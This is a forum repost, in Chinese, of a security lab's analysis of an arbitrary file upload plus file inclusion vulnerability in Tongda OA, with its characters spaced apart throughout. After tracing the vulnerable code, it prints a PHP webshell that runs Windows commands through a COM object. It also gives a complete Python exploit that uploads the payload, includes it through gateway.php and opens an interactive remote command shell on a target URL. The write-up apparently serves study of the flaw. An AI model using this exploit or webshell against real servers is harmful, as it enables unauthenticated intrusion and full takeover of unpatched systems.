搜索

[20387] 2020-11-18_通达OA任意文件上传漏洞详细分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-11-18_通达OA任意文件上传漏洞详细分析 通 达 O A 任 意 文 件 上 传 漏 洞 详 细 分 析 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 1 - 1 8 以 下 文 章 来 源 于 雷 石 安 全 实 验 室   ， 作 者 雷 石 安 全 实 验 室 影 响 影 响 影 响 范 围 ( 但 是 只 有 V 1 1 版 和 2 0 1 7 版 有 包 含 文 件 的 p h p , 其 余 版 本 能 上 传 文 件 . ) : V 1 1 版   2 0 1 7 版   2 0 1 6 版   2 0 1 5 版   2 0 1 3 增 强 版   2 0 1 3 版 。 这 个 漏 洞 是 几 个 月 前 的 漏 洞 ， 主 要 是 学 习 一 下 这 个 漏 洞 代 码 的 形 成 原 理 和 调 式 过 程 。 该 漏 洞 主 要 是 通 过 绕 过 身 份 验 证 的 情 况 下 上 传 文 件 ， 然 后 通 过 文 件 包 含 漏 洞 实 现 代 码 执 行 代 码 分 析 代 码 分 析 源 码 经 过 z e n d   5 . 4 加 密 , 解 密 工 具 : S e a y D z e n d , 可 以 自 行 百 度 下 载 在 线 解 密 h t t p : / / d e z e n d . q i l i n g . o r g / f r e e . h t m l 任 意 文 件 上 传 的 关 键 文 件 w e b r o o t i s p i r i t i m u p l o a d . p h p 代 码 分 析 : 可 以 看 到 只 要 判 断 P 参 数 是 否 不 为 空 ， 就 开 启 了 s e s s i o n 没 有 P 参 数 时 候 雷 石 安 全 实 验 室 雷 石 安 全 实 验 室   . 雷 石 安 全 实 验 室 以 团 队 公 众 号 为 平 台 向 安 全 工 作 者 不 定 期 分 享 渗 透 、 A P T 、 企 业 安 全 建 设 等 新 鲜 干 货 ， 团 队 公 众 号 致 力 于 成 为 一 个 实 用 干 货 分 享 型 公 众 号 。
有 的 时 候 继 续 往 下 走 判 断 D E S T _ U I D 是 否 不 为 空 ， 否 则 就 会 退 出 判 断 D E S T _ U I D = 0 的 时 候 ， 如 果 U P L O A D _ M O D E 不 等 于 2 就 直 接 退 出 了 判 断 D E S T _ U I D 不 等 于 0 的 时 候 直 接 判 断 $ _ F I L E S 数 量 是 否 有 ， 也 就 是 判 断 有 没 有 上 传 文 件 这 里 可 以 是 第 二 个 情 况 ， D E S T _ U I D = 0 ， U P L O A D _ M O D E = 2 进 行 下 一 步 也 可 以 是 D E S T _ U I D 不 为 0 进 入 下 一 步
继 续 往 下 走 可 以 这 里 又 i f 语 判 断 上 传 的 模 式 ， 我 们 来 看 看 上 传 的 模 式 有 哪 几 种 ， 可 以 看 到 总 共 有 1 , 2 , 3 ， 其 中 1 , 2 , 3 如 果 成 功 了 是 有 回 显 的 这 里 设 置 u p l o a d _ m o d e 为 1 ， 进 入 u p l o a d 函 数
会 判 断 是 否 / 字 符 ， 然 后 判 断 上 传 的 文 件 是 否 符 合 可 上 传 的 格 式 ， 我 们 继 续 走 i s _ u p l o a d a b l e 可 以 看 到 如 果 上 传 的 格 式 是 p h p ， 会 返 回 f a l s e , 这 里 用 x x x . p h p . 绕 过 回 过 头 来 看 u p l o a d 函 数 ， 最 终 会 返 回 一 个 $ A T T A C H M E N T S 的 数 组 ， 包 含 了 I D ， 和 N A M E 继 续 跟 进 ， 发 现 A T T A C H M E N T S 是 由 a d d _ a t t a c h 函 数 生 成 的 继 续 跟 进 发 现 $ F I L E N A M E 的 拼 成 继 续 往 下 走 的 时 候 发 现 $ p a t h ， 和 文 件 名 的 最 终 结 果
各 种 追 踪 发 现 就 是 a t t c h / i m / $ Y M / 文 件 夹 下 面 其 实 不 用 这 么 复 杂 ， 就 直 接 上 传 文 件 ， 然 后 搜 索 那 个 文 件 最 终 放 在 哪 不 就 完 事 了 吗 ？ 或 者 使 用 火 绒 剑 分 析 行 为 和 D 盾 进 行 文 件 监 控 上 传 结 合 前 面 的 分 析 需 要 的 参 数 有 这 里 不 同 的 上 传 模 式 ， 回 显 的 格 式 不 一 样 ， 这 里 的 2 格 式 舒 服 点 ， 目 录 就 是 2 0 0 3 , 文 件 名 对 应 后 面 的 I D
由 于 这 里 的 关 键 上 传 了 文 件 后 O A 系 统 有 个 文 件 包 含 漏 洞 ， 结 合 文 件 包 含 漏 洞 就 可 以 实 现 R C E 文 件 包 含 代 码 位 置 / i s p i r i t / i n t e r f a c e / g a t e w a y . p h p 首 先 会 接 受 一 个 j s o n 数 据 ， 然 后 转 换 为 数 组 ， 然 后 遍 历 这 个 数 据 ， 如 果 k e y 是 u r l ， u r l 就 对 应 值 然 后 继 续 走
然 后 走 到 s t r p o s ， 可 以 看 到 如 果 出 现 g e n e r a l / ， i s p i r i t ， m o d u l e / 就 会 触 发 文 件 包 含 构 造 p a y l o a d / g e n e r a l / . . / . . / a t t a c h / i m / 2 0 0 3 / 1 1 9 1 4 1 5 7 8 8 . 1 . p h p 由 于 我 上 传 的 时 候 是 p h p i n f o 函 数 ， 是 禁 用 了 这 个 函 数 的 和 危 险 函 数 ， 这 里 可 以 使 用 写 入 一 个 w e b s h e l l 在 当 前 执 行 的 / i s p i r i t / i n t e r f a c e / 目 录 下 记 得 这 里 文 件 名 前 面 要 加 个
当 然 也 可 以 使 用 C O M 组 件 b y p a s s   危 险 函 数 也 可 以 直 接 使 用 文 件 包 含 配 合 日 志 g e t s h e l l 直 接 触 发 n g i n x 的 错 误 日 志 ， 利 用 文 件 包 含 直 接 g e t s h e l l 利 用 网 上 公 开 的 脚 本 ： < ? p h p $ c o m m a n d = $ _ P O S T [ ' c m d ' ] ; $ w s h   =   n e w   C O M ( ' W S c r i p t . s h e l l ' ) ; $ e x e c   =   $ w s h - > e x e c ( " c m d   / c   " . $ c o m m a n d ) ; $ s t d o u t   =   $ e x e c - > S t d O u t ( ) ; $ s t r o u t p u t   =   $ s t d o u t - > R e a d A l l ( ) ; e c h o   $ s t r o u t p u t ; ? > # ! / u s r / b i n / e n v   p y t h o n 3 #   - * -   e n c o d i n g :   u t f - 8   - * - #   o a 通 达 文 件 上 传 加 文 件 包 含 远 程 代 码 执 行 i m p o r t   r e q u e s t s i m p o r t   r e i m p o r t   s y s d e f   o a ( u r l ) :         u p u r l   =   u r l   +   ' / i s p i r i t / i m / u p l o a d . p h p '         h e a d e r s   =   { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 2 . 0 . 3 2 0 2 . 9   S a f a r i / 5 3 7 . 3 6 " ,   " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 "         d a t a   =   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 7 7 2 3 9 4 0 3 1 6 7 0 6 1 5 8 7 8 1 8 3 9 8 6 0 6 6 8 r n C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " A T T A C H M E N T " ;   f i l e n a m e = " j p g " r n C o n t e n t - T y p e :   i m a g e / j p e g r n r n < ? p h p r n         r e q   =   r e q u e s t s . p o s t ( u r l = u p u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a )         f i l e n a m e   =   " " . j o i n ( r e . f i n d a l l ( " 2 0 0 3 _ ( . + ? ) | " , r e q . t e x t ) )         i n _ u r l   =   u r l   +   ' / i s p i r i t / i n t e r f a c e / g a t e w a y . p h p '         h e a d e r s   =   { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 2 . 0 . 3 2 0 2 . 9   S a f a r i / 5 3 7 . 3 6 " ,   " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 "         d a t a   =   " j s o n = { " u r l " : " . . / . . / . . / g e n e r a l / . . / a t t a c h / i m / 2 0 0 3 / % s . j p g " } & c m d = % s "   %   ( f i l e n a m e , " e c h o   p h p 0 0 p y " )         i n c l u d e _ r e q   =   r e q u e s t s . p o s t ( u r l = i n _ u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a )         i f     ' p h p 0 0 p y '   i n   i n c l u d e _ r e q . t e x t :                 p r i n t ( " [ + ]   O A   R C E   v u l n e r a b i l i t y   " )                 r e t u r n   f i l e n a m e         e l s e :                 p r i n t ( " [ - ]   N o t   O A   R C E   v u l n e r a b i l i t y   " )                 r e t u r n   F a l s e d e f   o a _ r c e ( u r l ,   f i l e n a m e , c o m m a n d ) :         u r l   =   u r l   +   ' / i s p i r i t / i n t e r f a c e / g a t e w a y . p h p '         h e a d e r s   =   { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 2 . 0 . 3 2 0 2 . 9   S a f a r i / 5 3 7 . 3 6 " ,   " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 "         d a t a   =   " j s o n = { " u r l " : " . . / . . / . . / g e n e r a l / . . / a t t a c h / i m / 2 0 0 3 / % s . j p g " } & c m d = % s "   %   ( f i l e n a m e , c o m m a n d )         r e q   =   r e q u e s t s . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a )         p r i n t ( r e q . t e x t ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :                 i f   l e n ( s y s . a r g v )   <   2 :                         p r i n t ( " p l e a s e   i n p u t   y o u r   u r l   p y t h o n   o a _ r c e . p y   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 8 1 " )                 e l s e :                         u r l   =   s y s . a r g v [ 1 ]                         f i l e n a m e   =   o a ( u r l )                         w h i l e   f i l e n a m e :                                 t r y :                                         c o m m a n d   =   i n p u t ( " w r a n @ s h e l L h o s t # " )                                         i f   c o m m a n d   = =   " e x i t "   o r   c o m m a n d   = =   " q u i t " :                                                 b r e a k                                         e l s e :                                                 o a _ r c e ( u r l , f i l e n a m e , c o m m a n d )                                 e x c e p t   K e y b o a r d I n t e r r u p t :                                         b r e a k
脚 本 用 的 是 C O M 绕 过 e n d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理